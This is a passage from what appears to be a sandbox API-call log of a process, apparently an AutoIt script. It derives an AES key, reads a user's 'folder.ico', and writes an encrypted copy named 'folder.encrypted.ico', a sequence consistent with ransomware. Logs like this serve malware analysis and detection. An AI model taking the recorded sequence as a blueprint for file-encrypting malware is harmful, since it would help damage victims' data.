lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.070] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.070] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.070] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.070] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.070] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.070] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.070] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.070] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.070] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.071] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.071] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b060, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.071] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.071] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.071] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.071] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.071] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.071] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.071] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.073] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5jghkoaofdp\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.073] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.073] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.074] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\my shapes\\_private")) returned 0x12 [0025.074] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico" (normalized: "c:\\users\\5jghkoaofdp\\documents\\my shapes\\_private\\folder.encrypted.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.076] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.076] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x74e6, lpOverlapped=0x0) returned 1 [0025.077] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.078] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.079] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.080] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.080] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.080] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.080] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.081] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.081] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064cc0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cc0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.082] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.082] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.082] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.082] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x74e6, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x74f0) returned 1 [0025.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.082] CharLowerBuffW (in: lpsz="byte[29937]", cchLength=0xb | out: lpsz="byte[29937]") returned 0xb [0025.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.082] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.082] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.083] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.083] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6035f70*, pdwDataLen=0xe8f3dfdf68*=0x74e6, dwBufLen=0x74f0 | out: pbData=0xe8f6035f70*, pdwDataLen=0xe8f3dfdf68*=0x74f0) returned 1 [0025.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.084] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.084] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.084] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.084] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.086] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 